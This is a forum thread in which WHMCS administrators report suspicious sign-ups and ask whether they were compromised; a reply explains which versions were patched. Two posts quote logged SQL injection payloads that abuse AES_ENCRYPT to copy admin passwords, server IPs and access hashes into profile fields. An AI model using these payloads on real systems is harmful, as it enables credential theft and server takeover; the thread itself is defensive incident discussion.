oldlock Posted July 19, 2014 Share Posted July 19, 2014 I just had a user register, and immediately received a detail change request to the following : First Name: 'snsdjn' to 'hacked' Last Name: 'sjnsdjn' to 'hacked' Company Name: 'jsdn' to 'hacked' Address 1: 'sndjsdn' to 'AES_ENCRYPT(1,1), address1= (SELECT GROUP_CONCAT(id,0x3a,username,0x3a,email SEPARATOR 0x0d) FROM tbladmins)' Address 2: 'jsdnsd' to 'AES_ENCRYPT(1,1), address2= (SELECT GROUP_CONCAT(password SEPARATOR 0x0d) FROM tbladmins)' City: 'dnsdj' to 'AES_ENCRYPT(1,1), city= (SELECT GROUP_CONCAT(type,0x3a,ipaddress,0x3a,username,0x0d,accesshash SEPARATOR 0x0d) FROM tblservers)' State: 'Victoria' to 'AES_ENCRYPT(1,1), state= (SELECT GROUP_CONCAT(id,0x3a,servertype,0x3a,paytype,0x3a,configoption1 SEPARATOR 0x0d) FROM tblproducts)' Postcode: '38434' to 'hacked' Country: 'AU' to 'US' Phone Number: '83434' to '1' Default Payment Method: '' to '' It all looked very suspect to me so I deleted it at once - should I be concerned about any possible damage ? 0 Quote Link to comment Share on other sites More sharing options...
Alex - Arvixe Posted July 19, 2014 Share Posted July 19, 2014 What version of WHMCS are you running? 0 Quote Link to comment Share on other sites More sharing options...
oldlock Posted July 19, 2014 Author Share Posted July 19, 2014 I was running 5.3.6, I'm now up to date. Research subsequent to my post here suggests I should be OK as it's an old exploit. 0 Quote Link to comment Share on other sites More sharing options...
bdnero Posted July 22, 2014 Share Posted July 22, 2014 I received a same registration. My version is 5.1.13 0 Quote Link to comment Share on other sites More sharing options...
oldlock Posted July 22, 2014 Author Share Posted July 22, 2014 Your probably in deep trouble then. I may be wrong but I think the vulnerability is present in that version. 0 Quote Link to comment Share on other sites More sharing options...
bdnero Posted July 22, 2014 Share Posted July 22, 2014 Your probably in deep trouble then. I may be wrong but I think the vulnerability is present in that version. Looks like this installation is safe. Exploit not sent any email from system. 0 Quote Link to comment Share on other sites More sharing options...
mlew2 Posted July 22, 2014 Share Posted July 22, 2014 I received a same registration. My version is 5.1.13 Yours could well be hacked......you need to upgrade ASAP if it is clean 0 Quote Link to comment Share on other sites More sharing options...
bdnero Posted July 22, 2014 Share Posted July 22, 2014 Yours could well be hacked......you need to upgrade ASAP if it is clean Its not hacked. Nothing sent out from system through email. If you know something else/ more please share. 0 Quote Link to comment Share on other sites More sharing options...
Alex - Arvixe Posted July 22, 2014 Share Posted July 22, 2014 I was running 5.3.6, I'm now up to date. Research subsequent to my post here suggests I should be OK as it's an old exploit. You should be fine. This version is patched against the vulnerability (they can try it but it won't work). I received a same registration. My version is 5.1.13 You are also fine. This was patched in 5.1.10 but I recommend you upgrade as other security issues have since been addressed. Yours could well be hacked......you need to upgrade ASAP if it is clean He is patched against this specific vulnerability but it is recommended he upgrade. Details about the AES_ENCRYPT issue can be found here: http://blog.whmcs.com/?t=79527 1 Quote Link to comment Share on other sites More sharing options...
bdnero Posted July 22, 2014 Share Posted July 22, 2014 You should be fine. This version is patched against the vulnerability (they can try it but it won't work). You are also fine. This was patched in 5.1.10 but I recommend you upgrade as other security issues have since been addressed. He is patched against this specific vulnerability but it is recommended he upgrade. Details about the AES_ENCRYPT issue can be found here: http://blog.whmcs.com/?t=79527 Thanks for sharing. That's really nice and informative reply. 0 Quote Link to comment Share on other sites More sharing options...
hostpal Posted March 19, 2015 Share Posted March 19, 2015 Ok People!... I upgraded yesterday to the latest version available (5.3.12). And here goes the thing, before the upgrade I never got attacked. Here is the log content: 19/03/2015 09:10 Created Client asal daftar -****User ID: 44 System 192.185.82.116 19/03/2015 09:10 Email Sent to asal daftar (Bienvenido(a) a Slash Web Host) -****User ID: 44 System 192.185.82.116 19/03/2015 09:10 New Order Placed -****Order ID: 67****-****User ID: 44 System 192.185.82.116 19/03/2015 09:10 Created Invoice -****Invoice ID: 20100098 System 192.185.82.116 19/03/2015 09:10 Email Sent to asal daftar (Factura emitida) -****User ID: 44 System 192.185.82.116 19/03/2015 09:10 Email Sent to asal daftar (Confirmación de pedido) -****User ID: 44 System 192.185.82.116 19/03/2015 09:10 Client Profile Modified - Address 1: 'cyberteam' to 'AES_ENCRYPT(1,1), address1= (SELECT MIN(type) FROM tblservers)', Address 2: 'cyberteam' to 'AES_ENCRYPT(1,1), address2= (SELECT MIN(ipaddress) FROM tblservers)', City: 'cyberteam' to 'AES_ENCRYPT(1,1), city= (SELECT MIN(username) FROM tblservers)', State: 'saint' to 'AES_ENCRYPT(1,1), state= (SELECT MIN(accesshash) FROM tblservers)', Default Payment Method: '' to '' , Tipo de documento: 'Google' to '', Numero de documento: 'Google' to '' -****User ID: 44 Client 192.185.82.116 19/03/2015 09:10 Client Profile Modified - Address 1: 'AES_ENCRYPT(1,1), address1= (SELECT MIN(type) FROM tblservers)' to 'cyberteam', Address 2: 'AES_ENCRYPT(1,1), address2= (SELECT MIN(ipaddress) FROM tblservers)' to 'cyberteam', City: 'AES_ENCRYPT(1,1), city= (SELECT MIN(username) FROM tblservers)' to 'cyberteam', State: 'AES_ENCRYPT(1,1), state= (SELECT MIN(accesshash) FROM tblservers)' to 'saint', Default Payment Method: '' to '' -****User ID: 44 Client 192.185.82.116 19/03/2015 09:10 Client Profile Modified - Default Payment Method: '' to '' -****User ID: 44 Client 192.185.82.116 19/03/2015 09:10 Client Profile Modified - Default Payment Method: '' to '' -****User ID: 44 Client 192.185.82.116 19/03/2015 09:10 Client Profile Modified - Default Payment Method: '' to '' -****User ID: 44 Client 192.185.82.116 So far I haven't noticed anything weird on the server behavior, but I don't know if there is something in specific I should be looking for. Any suggestions? 0 Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.